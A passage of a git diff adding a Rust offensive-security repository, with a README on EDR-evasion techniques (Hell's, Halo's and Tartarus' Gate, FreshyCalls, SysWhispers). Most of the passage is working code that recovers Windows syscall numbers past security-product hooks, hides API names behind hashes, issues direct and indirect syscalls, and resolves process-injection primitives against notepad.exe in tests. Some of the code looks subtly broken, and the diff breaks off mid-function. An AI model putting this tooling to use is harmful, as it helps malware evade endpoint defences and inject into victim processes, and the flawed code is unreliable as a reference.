lookup table of function pointers for functions imported from DLLs or executables. IAT hooking allows us to replace the function address in the Import Address Table with another to redirect the program's execution flow. + +![BlackGate](./hooking.png) +**Credits to [Kyle Mistele](https://kylemistele.medium.com/a-beginners-guide-to-edr-evasion-b98cc076eb9a)** + +### What is Hell's Gate / Halo's Gate / Tartarus' Gate? + +Hell's Gate is a process injection technique that allows us to search for a number of bytes called the syscall stub, from the `ntdll.dll` module to extract the system call numbers and save them in a dedicated memory table, which is then used to call system APIs directly. However, the limitation of Hell's Gate is that it needs access to a clean `ntdll.dll` module if the functions are hooked. Otherwise, it cannot populate the needed syscall numbers and eventually fails to deliver native API calls. To address this problem, a twin sister was born called Halo's Gate, which is just a patch to Hell's Gate based on a very simple observation. + +When a hooked is placed on a function (`jmp
`) we won't be able to dynamically retrieve the syscall numbers, so to address this problem we can look at the system call numbers of the neighboring functions and adjust the calculations accordingly to get our system call number, because syscall ID in the syscall stub follow each other incrementally. + + +Hell's Gate only checks for a sequence of bytes in the following order `4c8bd1b8`, which looks like this in assembly: + +```asm +mov r10, rcx +mov eax, +``` + +Halo's gate does the same as Hell's Gate but with an additional check to see if there is a hook in place by checking if the first byte of the export is `e9` (`jmp`) and if there is a hook in place then Halo's gate starts to look at the neighboring functions and adjust the calculations accordingly to get our system call number, since the syscall ID in the syscall stub follows each other incrementally. + +However, not all EDRs hook in the same location (at the start of the function). What if EDRs hooks right after `mov r10, rcx` (`4c8bd1`)? This will break our code. + +Tartarus' Gate solves this issue by adding an additional check to Halo's gate by searching for these bytes sequentially `4c8bd1e9` as well, which looks like this in assembly. + +```asm +mov r10, rcx +jmp
+``` + +However, if all functions are hooked then we can find the first one and unhook all one by one starting from call ID 0. This method is called Veles' Reek at [SEKTOR7](https://www.sektor7.net/). + +## FreshyCalls / SysWhispers1 / SysWhispers2 / SysWhispers3 + +The `FreshyCalls` technique searches the `Export Directory` for functions starting with `Nt` (excluding `Ntdll`) and sorts them by addresses. Surprisingly the lowest address is syscall number 0 and the next one will be syscall numbers 1 and 2 and 3... You can verify this in x64 dbg or Windbg yourself. + +Syswhispers2 does the same thing but instead of searching for the `Nt` functions inside the export directory of `ntdll.dll` it searches for functions starting with `Zw`. Surprisingly `Zw` functions and `Nt` functions point to the same syscall stubs and will have the same system call number. + +Here we can verify that: +![syswhisper2](./syswhisper2_example1.PNG) + +![syswhisper2](./syswhisper2_example2.PNG) + + +The difference between `Zw` anmd `Nt` functions are explained by [Microsoft here](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/using-nt-and-zw-versions-of-the-native-system-services-routines): + +"*The Windows native operating system services API is implemented as a set of routines that run in kernel mode. These routines have names that begin with the prefix Nt or Zw. Kernel-mode drivers can call these routines directly. User-mode applications can access these routines by using system calls. + +With a few exceptions, each native system services routine has two slightly different versions that have similar names but different prefixes. For example, calls to NtCreateFile and ZwCreateFile perform similar operations and are, in fact, serviced by the same kernel-mode system routine. + +For system calls from user mode, the Nt and Zw versions of a routine behave identically. For calls from a kernel-mode driver, the Nt and Zw versions of a routine differ in how they handle the parameter values that the caller passes to the routine. + +A kernel-mode driver calls the Zw version of a native system services routine to inform the routine that the parameters come from a trusted, kernel-mode source. In this case, the routine assumes that it can safely use the parameters without first validating them. However, if the parameters might be from either a user-mode source or a kernel-mode source, the driver instead calls the Nt version of the routine, which determines, based on the history of the calling thread, whether the parameters originated in user mode or kernel mode*" + + +## In a nutshell: + +`Hell's Gate:` This will parse `ntdll.dll` to find the starting of the syscall stub (`4c8bd1b8`) and then retrieve the syscall ID. However, if the syscall stub is hooked then our code will break. + +`Halo's Gate:` The same as Hell’s Gate, but adds an additional check to see if the first hooks are in place by checking if the first byte is `e9` (`jmp`) and if there is a hook in place then Halo's gate starts to look at the neighboring functions and adjust the calculations accordingly to get our system call number since the syscall ID in the syscall stub follows each other incrementally. + +`Tartarus' Gate`: The same Halo's Gate but adds an additional check to see if the syscall stub is hooked on the second line, after the assembly instructions `mov r10, rcx` by searching the following sequence of bytes: `4c8bd1e9. + +`FreshyCalls:` This will search functions starting with `Nt` in the `Export Directory` and sorts them by addresses and the lowest address is the syscall identifier `0`. + +`SysWhispers1:` Uses the OS version information to select the correct system call number. + +`Syswhispers2:` The same as `FreshyCalls`, but this will search for `Zw` functions in the `Export Directory` and store the name by replacing `Zw` with `Nt`. + +`SysWhispers3` This is very similar to `SysWhispers2` with the exception that it also supports x86/WoW64, syscalls instruction replacement with an EGG (to be dynamically replaced), direct jumps to syscalls in x86/x64 mode (in WOW64 it's almost standard), direct jumps to random syscalls (borrowing [@ElephantSeal's idea](https://twitter.com/ElephantSe4l/status/1488464546746540042)). + +Exercise for the reader by: An excellent blog by [Alice Climent-Pommeret](https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/) and [Kelzvirus](https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/) + + +## References and Credits + +* https://github.com/am0nsec/HellsGate - [smelly__vx](https://twitter.com/smelly__vx) (@RtlMateusz) and Paul Laîné ([@am0nsec](https://twitter.com/am0nsec)) +* https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf +* https://blog.sektor7.net/#!res/2021/halosgate.md - [@Reenz0h / @SEKTOR7net](https://twitter.com/SEKTOR7net) +* https://github.com/trickster0/TartarusGate ([trickster0 / @trickster012](https://twitter.com/trickster012)) +* https://trickster0.github.io/posts/Halo's-Gate-Evolves-to-Tartarus-Gate/ +* https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/ [@KlezVirus](https://twitter.com/KlezVirus) +* https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/ - [@modexpblog](https://twitter.com/modexpblog) +* https://github.com/janoglezcampos/rust_syscalls/ - [@httpyxel](https://twitter.com/httpyxel) +* https://kylemistele.medium.com/a-beginners-guide-to-edr-evasion-b98cc076eb9a - [@AliceCliment](https://twitter.com/AliceCliment) +* https://alice.climent-pommeret.red/posts/direct-syscalls-hells-halos-syswhispers2/ +* https://github.com/crummie5/FreshyCalls - [@ElephantSe4l](https://twitter.com/ElephantSe4l) +* https://github.com/jthuraisamy/SysWhispers - [@Jackson_T](https://twitter.com/Jackson_T) +* https://github.com/jthuraisamy/SysWhispers2 - [@Jackson_T](https://twitter.com/Jackson_T) +* https://github.com/klezVirus/SysWhispers3 - [@klezVirus](https://twitter.com/KlezVirus) \ No newline at end of file diff --git a/memN0ps/mordor-rs/blackgate.png b/memN0ps/mordor-rs/blackgate.png new file mode 100644 index 0000000..ac55a72 Binary files /dev/null and b/memN0ps/mordor-rs/blackgate.png differ diff --git a/memN0ps/mordor-rs/freshycalls_syswhispers/Cargo.toml b/memN0ps/mordor-rs/freshycalls_syswhispers/Cargo.toml new file mode 100644 index 0000000..c4d1dac --- /dev/null +++ b/memN0ps/mordor-rs/freshycalls_syswhispers/Cargo.toml @@ -0,0 +1,33 @@ +[package] +name = "freshycalls_syswhispers" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[features] +#default = ["_DIRECT_"] +#default = ["_INDIRECT_"] +_INDIRECT_ = [] +_DIRECT_ = [] + +[dependencies] +env_logger = "0.9.0" +log = "0.4.17" +sysinfo = "0.20.4" +obfstr = "0.3.0" +ntapi = { version = "0.4.0", features = ["impl-default"] } + +[dependencies.windows-sys] +version = "0.36.1" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming", + "Win32_System_LibraryLoader", +] \ No newline at end of file diff --git a/memN0ps/mordor-rs/freshycalls_syswhispers/src/lib.rs b/memN0ps/mordor-rs/freshycalls_syswhispers/src/lib.rs new file mode 100644 index 0000000..c451ec2 --- /dev/null +++ b/memN0ps/mordor-rs/freshycalls_syswhispers/src/lib.rs @@ -0,0 +1,11 @@ +#[cfg(all(feature = "_DIRECT_", feature = "_INDIRECT_"))] +compile_error!("\t [!] RUST_SYSCALLS ERROR: feature \"_DIRECT_\" and feature \"_INDIRECT_\" cannot be enabled at the same time"); + +#[cfg(not(any(feature = "_DIRECT_", feature = "_INDIRECT_")))] +compile_error!( + "\t [!] RUST_SYSCALLS ERROR: feature \"_DIRECT_\" or feature \"_INDIRECT_\" must be enabled" +); + +pub mod obf; +pub mod syscall; +pub mod syscall_resolve; diff --git a/memN0ps/mordor-rs/freshycalls_syswhispers/src/obf.rs b/memN0ps/mordor-rs/freshycalls_syswhispers/src/obf.rs new file mode 100644 index 0000000..2059530 --- /dev/null +++ b/memN0ps/mordor-rs/freshycalls_syswhispers/src/obf.rs @@ -0,0 +1,31 @@ +#[macro_export] +macro_rules! obf { + ($s:expr) => {{ + static HASH: u32 = $crate::obf::dbj2_hash_str($s); + HASH + }}; +} + +pub const fn dbj2_hash_str(arg: &str) -> u32 { + dbj2_hash(arg.as_bytes()) +} + +pub const fn dbj2_hash(buffer: &[u8]) -> u32 { + let mut hsh: u32 = 5381; + let mut iter: usize = 0; + let mut cur: u8; + + while iter < buffer.len() { + cur = buffer[iter]; + if cur == 0 { + iter += 1; + continue; + } + if cur >= ('a' as u8) { + cur -= 0x20; + } + hsh = ((hsh << 5).wrapping_add(hsh)) + cur as u32; + iter += 1; + } + return hsh; +} diff --git a/memN0ps/mordor-rs/freshycalls_syswhispers/src/syscall.rs b/memN0ps/mordor-rs/freshycalls_syswhispers/src/syscall.rs new file mode 100644 index 0000000..a3b04e7 --- /dev/null +++ b/memN0ps/mordor-rs/freshycalls_syswhispers/src/syscall.rs @@ -0,0 +1,234 @@ +// +// Credits: Yxel / janoglezcampos / @httpyxel (https://github.com/janoglezcampos/rust_syscalls/blob/main/src/syscall.rs) +// + +#[allow(unused_imports)] +use std::arch::global_asm; + +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +#[macro_export] +macro_rules! syscall { + ($function_name:expr, $($y:expr), +) => { + { + let (ssn, _) = $crate::syscall_resolve::get_ssn($crate::obf!($function_name)).expect("Failed to get SSN"); + let mut cnt:u32 = 0; + $( + let _ = $y; + cnt += 1; + )+ + freshycalls_syswhispers::syscall::do_syscall(ssn, cnt, $($y), +) + }} +} + +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +#[macro_export] +macro_rules! syscall { + ($function_name:expr, $($y:expr), +) => { + { + let (ssn, addr) = $crate::syscall_resolve::get_ssn($crate::obf!($function_name)).expect("Failed to get SSN"); + let mut cnt:u32 = 0; + $( + let _ = $y; + cnt += 1; + )+ + freshycalls_syswhispers::syscall::do_syscall(ssn, addr, cnt, $($y), +) + }} +} + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +global_asm!( + " +.global do_syscall + +.section .text + +do_syscall: + + mov [rsp - 0x8], rsi + mov [rsp - 0x10], rdi + + mov eax, ecx + mov rcx, rdx + + mov r10, r8 + mov rdx, r9 + + mov r8, [rsp + 0x28] + mov r9, [rsp + 0x30] + + sub rcx, 0x4 + jle skip + + lea rsi, [rsp + 0x38] + lea rdi, [rsp + 0x28] + + rep movsq +skip: + syscall + + mov rsi, [rsp - 0x8] + mov rdi, [rsp - 0x10] + + ret +" +); + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +global_asm!( + " +.global do_syscall + +.section .text + +do_syscall: + mov [rsp - 0x8], rsi + mov [rsp - 0x10], rdi + mov [rsp - 0x18], r12 + + mov eax, ecx + mov r12, rdx + mov rcx, r8 + + mov r10, r9 + mov rdx, [rsp + 0x28] + mov r8, [rsp + 0x30] + mov r9, [rsp + 0x38] + + sub rcx, 0x4 + jle skip + + lea rsi, [rsp + 0x40] + lea rdi, [rsp + 0x28] + + rep movsq +skip: + + mov rcx, r12 + + mov rsi, [rsp - 0x8] + mov rdi, [rsp - 0x10] + mov r12, [rsp - 0x18] + + jmp rcx +" +); + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +global_asm!( + " +.global _do_syscall + +.section .text + +_do_syscall: + mov [esp - 0x04], esi + mov [esp - 0x08], edi + + mov eax, [esp + 0x04] + mov ecx, [esp + 0x08] + + lea esi, [esp + 0x0C] + lea edi, [esp + 0x04] + + rep movsd + + mov esi, [esp - 0x04] + mov edi, [esp - 0x08] + + mov edx, fs:[0xc0] + test edx, edx + je native + + call edx + ret + +native: + call sysenter + ret + +sysenter: + mov edx,esp + sysenter + +" +); + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +global_asm!( + " +.global _do_syscall + +.section .text + +_do_syscall: + mov ecx, [esp + 0x0C] + not ecx + add ecx, 1 + lea edx, [esp + ecx * 4] + + mov ecx, [esp] + mov [edx], ecx + + mov [edx - 0x04], esi + mov [edx - 0x08], edi + + mov eax, [esp + 0x04] + mov ecx, [esp + 0x0C] + + lea esi, [esp + 0x10] + lea edi, [edx + 0x04] + + rep movsd + + mov esi, [edx - 0x04] + mov edi, [edx - 0x08] + mov ecx, [esp + 0x08] + + mov esp, edx + + mov edx, fs:[0xC0] + test edx, edx + je native + + mov edx, fs:[0xC0] + jmp ecx + +native: + mov edx, ecx + sub edx, 0x05 + push edx + mov edx, esp + jmp ecx + ret + +is_wow64: +" +); + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +extern "C" { + pub fn do_syscall(ssn: u16, n_args: u32, ...) -> i32; +} + +#[cfg(target_arch = "x86_64")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +extern "C" { + pub fn do_syscall(ssn: u16, syscall_addr: u64, n_args: u32, ...) -> i32; +} + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_DIRECT_", not(feature = "_INDIRECT_")))] +extern "C" { + pub fn do_syscall(ssn: u16, n_args: u32, ...) -> i32; +} + +#[cfg(target_arch = "x86")] +#[cfg(all(feature = "_INDIRECT_", not(feature = "_DIRECT_")))] +extern "C" { + pub fn do_syscall(ssn: u16, n_args: u32, syscall_addr: u32, ...) -> i32; +} diff --git a/memN0ps/mordor-rs/freshycalls_syswhispers/src/syscall_resolve.rs b/memN0ps/mordor-rs/freshycalls_syswhispers/src/syscall_resolve.rs new file mode 100644 index 0000000..62448d4 --- /dev/null +++ b/memN0ps/mordor-rs/freshycalls_syswhispers/src/syscall_resolve.rs @@ -0,0 +1,263 @@ +use ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB, ntpsapi::PEB_LDR_DATA}; +use std::{arch::asm, collections::BTreeMap, ffi::CStr}; +use sysinfo::{ProcessExt, SystemExt}; +use windows_sys::Win32::System::{ + Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64}, + SystemServices::{ + IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_SIGNATURE, + }, +}; + +use crate::obf::dbj2_hash; + +pub fn get_ssn(module_hash: u32) -> Option<(u16, u64)> { + let module_base = unsafe { + get_loaded_module_by_hash(crate::obf!("ntdll.dll")) + .expect("Failed to get loaded module by name") + }; + + let mut nt_exports = BTreeMap::new(); + + for (name, addr) in unsafe { get_exports_by_name(module_base) } { + // + // FreshyCalls + // + + /* + // Check to see if stubs starts with Nt but not with Ntdll + + if name.starts_with("Nt") && !name.starts_with("Ntdll") { + nt_exports.insert(name, addr); + } + + */ + + // + // Syswhispers2 Patch + // + + // Check to see if stubs starts with Zw and replace with Nt + if name.starts_with("Zw") { + nt_exports.insert(name.replace("Zw", "Nt"), addr); + } + } + + let mut nt_exports_vec: Vec<(String, usize)> = Vec::from_iter(nt_exports); + // sort all Nt functions by address + nt_exports_vec.sort_by_key(|k| k.1); + + // First Nt addresses has system call number of 0 and so on... + + let mut syscall_number: u16 = 0; + + for exports in nt_exports_vec { + if module_hash == dbj2_hash(exports.0.as_bytes()) { + let syscall_instruction = unsafe { get_syscall_instruction_address(exports.1 as _).expect("Failed to get syscall instruction address from ntdll") }; + return Some((syscall_number, syscall_instruction as u64)); + } + syscall_number += 1; + } + + return None; +} + +const UP: isize = -32; +const DOWN: usize = 32; + +/// Get the address of the syscall instruction from ntdll.dll (Similar to Hell's Gate / Halo's Gate and Tartarus' Gate) +pub unsafe fn get_syscall_instruction_address(function_address: *mut u8) -> Option { + + // we don't really care if there is a 'jmp' between the Nt API address and the `syscall; ret` instruction + for x in 0..25 { + if function_address.add(x).read() == 0x0f && function_address.add(x + 1).read() == 0x05 && function_address.add(x + 2).read() == 0xc3 { + return Some(function_address.add(x) as _); + } + } + + // + // Hell's gate for `syscall` instruction rather than `SSN` + // + + // check if the assembly instruction are (0x0f, 0x05, 0xc3): + // syscall + // ret + if function_address.add(18).read() == 0x0f && function_address.add(19).read() == 0x05 && function_address.add(20).read() == 0xc3 { + return Some(function_address.add(18) as _); + } + + // + // Halo's Gate and Tartarus' Gate Patch for `syscall` instruction rather than `SSN` + // + + if function_address.read() == 0xe9 || function_address.add(3).read() == 0xe9 { + for idx in 1..500 { + + // + // if hooked check the neighborhood to find clean syscall (downwards) + // + + if function_address.add(18 + idx * DOWN).read() == 0x0f && function_address.add(19 + idx * DOWN).read() == 0x05 && function_address.add(20 + idx * DOWN).read() == 0xc3 { + return Some(function_address.add(18 + idx * DOWN) as _); + } + + // + // if hooked check the neighborhood to find clean syscall (upwards) + // + if function_address.offset(18 + idx as isize * UP).read() == 0x0f && function_address.offset(19 + idx as isize * UP).read() == 0x05 && function_address.offset(20 + idx as isize * UP).read() == 0xc3 { + return Some(function_address.add(18 + idx * DOWN) as _); + } + } + } + + return None; +} + + +/// Get process ID by name +pub fn get_process_id_by_name(target_process: &str) -> usize { + let mut system = sysinfo::System::new(); + system.refresh_all(); + + let mut process_id: usize = 0; + + for process in system.process_by_name(target_process) { + process_id = process.pid(); + } + return process_id; +} + +/// Gets a pointer to IMAGE_NT_HEADERS32 x86 +#[cfg(target_arch = "x86")] +pub unsafe fn get_nt_headers(module_base: *mut u8) -> Option<*mut IMAGE_NT_HEADERS32> { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS32; + + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE as _ { + return None; + } + + return Some(nt_headers); +} + +/// Gets a pointer to IMAGE_NT_HEADERS32 x86_64 +#[cfg(target_arch = "x86_64")] +pub unsafe fn get_nt_headers(module_base: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> { + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return None; + } + + let nt_headers = + (module_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64; + + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE as _ { + return None; + } + + return Some(nt_headers); +} + +/// Gets a pointer to the Thread Environment Block (TEB) +#[cfg(target_arch = "x86")] +pub unsafe fn get_teb() -> *mut ntapi::ntpebteb::TEB { + let teb: *mut ntapi::ntpebteb::TEB; + asm!("mov {teb}, fs:[0x18]", teb = out(reg) teb); + teb +} + +/// Get a pointer to the Thread Environment Block (TEB) +#[cfg(target_arch = "x86_64")] +pub unsafe fn get_teb() -> *mut ntapi::ntpebteb::TEB { + let teb: *mut ntapi::ntpebteb::TEB; + asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb); + teb +} + +/// Get a pointer to the Process Environment Block (PEB) +pub unsafe fn get_peb() -> *mut PEB { + let teb = get_teb(); + let peb = (*teb).ProcessEnvironmentBlock; + peb +} + +/// Get loaded module by hash +pub unsafe fn get_loaded_module_by_hash(module_hash: u32) -> Option<*mut u8> { + let peb = get_peb(); + let peb_ldr_data_ptr = (*peb).Ldr as *mut PEB_LDR_DATA; + + let mut module_list = + (*peb_ldr_data_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY; + + while !(*module_list).DllBase.is_null() { + let dll_buffer_ptr = (*module_list).BaseDllName.Buffer; + let dll_length = (*module_list).BaseDllName.Length as usize; + let dll_name_slice = core::slice::from_raw_parts(dll_buffer_ptr as *const u8, dll_length); + + if module_hash == dbj2_hash(dll_name_slice) { + return Some((*module_list).DllBase as _); + } + + module_list = (*module_list).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; + } + + return None; +} + +/// Get the address of an export by hash +pub unsafe fn get_exports_by_name(module_base: *mut u8) -> BTreeMap { + let mut exports = BTreeMap::new(); + let nt_headers = get_nt_headers(module_base).unwrap(); + + let export_directory = (module_base as usize + + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize] + .VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, + (*export_directory).NumberOfNames as _, + ); + + let functions = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, + (*export_directory).NumberOfFunctions as _, + ); + + let ordinals = core::slice::from_raw_parts( + (module_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, + (*export_directory).NumberOfNames as _, + ); + + for i in 0..(*export_directory).NumberOfNames { + let name_addr = (module_base as usize + names[i as usize] as usize) as *const i8; + + if let Ok(name) = CStr::from_ptr(name_addr).to_str() { + let ordinal = ordinals[i as usize] as usize; + + exports.insert( + name.to_string(), + module_base as usize + functions[ordinal] as usize, + ); + } + } + + return exports; +} + +/// Get the length of a C String +pub fn get_cstr_len(pointer: *const char) -> usize { + let mut tmp: u64 = pointer as u64; + + unsafe { + while *(tmp as *const u8) != 0 { + tmp += 1; + } + } + (tmp - pointer as u64) as _ +} diff --git a/memN0ps/mordor-rs/freshycalls_syswhispers/tests/syscaller.rs b/memN0ps/mordor-rs/freshycalls_syswhispers/tests/syscaller.rs new file mode 100644 index 0000000..1d161cc --- /dev/null +++ b/memN0ps/mordor-rs/freshycalls_syswhispers/tests/syscaller.rs @@ -0,0 +1,36 @@ +#[cfg(test)] +mod tests { + use std::ptr::null_mut; + + use freshycalls_syswhispers::syscall_resolve::get_process_id_by_name; + use freshycalls_syswhispers::syscall; + use ntapi::{winapi::shared::ntdef::{OBJECT_ATTRIBUTES, HANDLE, NT_SUCCESS}, ntapi_base::CLIENT_ID}; + use windows_sys::Win32::System::{Threading::{PROCESS_VM_READ, PROCESS_VM_WRITE}}; + + #[test] + fn test_open_process() { + env_logger::init(); + + let mut oa = OBJECT_ATTRIBUTES::default(); + + let process_id = get_process_id_by_name("notepad.exe"); + let mut process_handle = process_id as HANDLE; + + let mut ci = CLIENT_ID { + UniqueProcess: process_handle, + UniqueThread: null_mut(), + }; + + let status = unsafe { + syscall!( + "NtOpenProcess", + &mut process_handle, + PROCESS_VM_WRITE | PROCESS_VM_READ, + &mut oa, + &mut ci + ) + }; + + assert_eq!(NT_SUCCESS(status), true); + } +} \ No newline at end of file diff --git a/memN0ps/mordor-rs/hells_halos_tartarus_gate/.gitignore b/memN0ps/mordor-rs/hells_halos_tartarus_gate/.gitignore new file mode 100644 index 0000000..ea8c4bf --- /dev/null +++ b/memN0ps/mordor-rs/hells_halos_tartarus_gate/.gitignore @@ -0,0 +1 @@ +/target diff --git a/memN0ps/mordor-rs/hells_halos_tartarus_gate/Cargo.toml b/memN0ps/mordor-rs/hells_halos_tartarus_gate/Cargo.toml new file mode 100644 index 0000000..4fed01f --- /dev/null +++ b/memN0ps/mordor-rs/hells_halos_tartarus_gate/Cargo.toml @@ -0,0 +1,27 @@ +[package] +name = "hells_halos_tartarus_gate" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +env_logger = "0.9.0" +log = "0.4.17" +sysinfo = "0.20.4" +obfstr = "0.3.0" +ntapi = "0.4.0" + +[dependencies.windows-sys] +version = "0.36.1" +features = [ + "Win32_Foundation", + "Win32_Security", + "Win32_System_Threading", + "Win32_UI_WindowsAndMessaging", + "Win32_System_Memory", + "Win32_System_Diagnostics_Debug", + "Win32_System_SystemServices", + "Win32_System_WindowsProgramming", + "Win32_System_LibraryLoader", +] \ No newline at end of file diff --git a/memN0ps/mordor-rs/hells_halos_tartarus_gate/src/lib.rs b/memN0ps/mordor-rs/hells_halos_tartarus_gate/src/lib.rs new file mode 100644 index 0000000..fa4111e --- /dev/null +++ b/memN0ps/mordor-rs/hells_halos_tartarus_gate/src/lib.rs @@ -0,0 +1,451 @@ +#![allow(dead_code)] + +use ntapi::{ntldr::LDR_DATA_TABLE_ENTRY, ntpebteb::PEB, ntpsapi::PEB_LDR_DATA}; +use std::arch::asm; +use sysinfo::{ProcessExt, SystemExt}; +use windows_sys::Win32::System::{ + Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_NT_HEADERS64}, + SystemServices::{ + IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_SIGNATURE, + }, +}; + +const NTDLL_HASH: u32 = 0x1edab0ed; +const NT_OPEN_PROCESS_HASH: u32 = 0x4b82f718; +const NT_ALLOCATE_VIRTUAL_MEMORY_HASH: u32 = 0xf783b8ec; +const NT_PROTECT_VIRTUAL_MEMORY_HASH: u32 = 0x50e92888; +const NT_WRITE_VIRTUAL_MEMORY_HASH: u32 = 0xc3170192; +const NT_CREATE_THREAD_EX_HASH: u32 = 0xaf18cfb0; + +const UP: isize = -32; +const DOWN: usize = 32; + +pub struct VxTableEntry { + p_address: *mut u8, + w_system_call: u16, +} + +// Do unit testing +#[cfg(test)] +mod test { + use super::*; + + #[test] + fn it_works() { + env_logger::init(); + + let ntdll_base_address = unsafe { + get_loaded_module_by_hash(NTDLL_HASH).expect("Failed to get loaded module by name") + }; + + log::debug!("[+] NTDLL Address: {:p}", ntdll_base_address); + + let nt_open_process_table = unsafe { + hells_halos_tartarus_gate(ntdll_base_address, NT_OPEN_PROCESS_HASH) + .expect("Failed to call hells_halos_tartarus_gate") + }; + let nt_allocate_virtual_memory_table = unsafe { + hells_halos_tartarus_gate(ntdll_base_address, NT_ALLOCATE_VIRTUAL_MEMORY_HASH) + .expect("Failed to call hells_halos_tartarus_gate") + }; + let nt_protect_virtual_memory_table = unsafe { + hells_halos_tartarus_gate(ntdll_base_address, NT_PROTECT_VIRTUAL_MEMORY_HASH) + .expect("Failed to call hells_halos_tartarus_gate") + }; + let nt_write_virtual_memory_table = unsafe { + hells_halos_tartarus_gate(ntdll_base_address, NT_WRITE_VIRTUAL_MEMORY_HASH) + .expect("Failed to call hells_halos_tartarus_gate") + }; + let nt_create_thread_ex_table = unsafe { + hells_halos_tartarus_gate(ntdll_base_address, NT_CREATE_THREAD_EX_HASH) + .expect("Failed to call hells_halos_tartarus_gate") + }; + + log::debug!( + "[+] NtOpenProcess: {:p} Syscall: {:#x}", + nt_open_process_table.p_address, + nt_open_process_table.w_system_call + ); + log::debug!( + "[+] NtAllocateVirtualMemory: {:p} Syscall: {:#x}", + nt_allocate_virtual_memory_table.p_address, + nt_allocate_virtual_memory_table.w_system_call + ); + log::debug!( + "[+] NtProtectVirtualMemory: {:p} Syscall: {:#x}", + nt_protect_virtual_memory_table.p_address, + nt_protect_virtual_memory_table.w_system_call + ); + log::debug!( + "[+] NtWriteVirtualMemory: {:p} Syscall: {:#x}", + nt_write_virtual_memory_table.p_address, + nt_write_virtual_memory_table.w_system_call + ); + log::debug!( + "[+] NtCreateThreadEx: {:p} Syscall: {:#x}", + nt_create_thread_ex_table.p_address, + nt_create_thread_ex_table.w_system_call + ); + + // Tested on Microsoft Windows 10 Home 10.0.19044 N/A Build 19044 (Unit test will fail in other build versions if syscalls IDs are different) + assert_eq!(nt_open_process_table.w_system_call, 0x26); + assert_eq!(nt_allocate_virtual_memory_table.w_system_call, 0x18); + assert_eq!(nt_protect_virtual_memory_table.w_system_call, 0x50); + assert_eq!(nt_write_virtual_memory_table.w_system_call, 0x3a); + assert_eq!(nt_create_thread_ex_table.w_system_call, 0xc1); + + //assert_eq!(nt_create_thread_ex_syscall, 0x1337); // testing fail test + } +} + +pub unsafe fn hells_halos_tartarus_gate( + module_base: *mut u8, + module_hash: u32, +) -> Option { + let mut vx_table_entry = VxTableEntry { + p_address: get_export_by_hash(module_base, module_hash) + .expect("Failed to get export by hash"), + w_system_call: 0, + }; + // Hell's gate + // + // + + //vx_table_entry.w_system_call = find_syscall_number(vx_table_entry.p_address as _); + + // check if the assembly instruction are: + // mov r10, rcx + // mov rcx, + if vx_table_entry.p_address.read() == 0x4c + && vx_table_entry.p_address.add(1).read() == 0x8b + && vx_table_entry.p_address.add(2).read() == 0xd1 + && vx_table_entry.p_address.add(3).read() == 0xb8 + && vx_table_entry.p_address.add(6).read() == 0x00 + && vx_table_entry.p_address.add(7).read() == 0x00 + { + let high = vx_table_entry.p_address.add(5).read(); + let low = vx_table_entry.p_address.add(4).read(); + vx_table_entry.w_system_call = ((high.overflowing_shl(8).0) | low) as u16; + return Some(vx_table_entry); + } + + // + // Halo's Gate Patch + // + + if vx_table_entry.p_address.read() == 0xe9 { + for idx in 1..500 { + // + // if hooked check the neighborhood to find clean syscall (downwards) + // + + if vx_table_entry.p_address.add(idx * 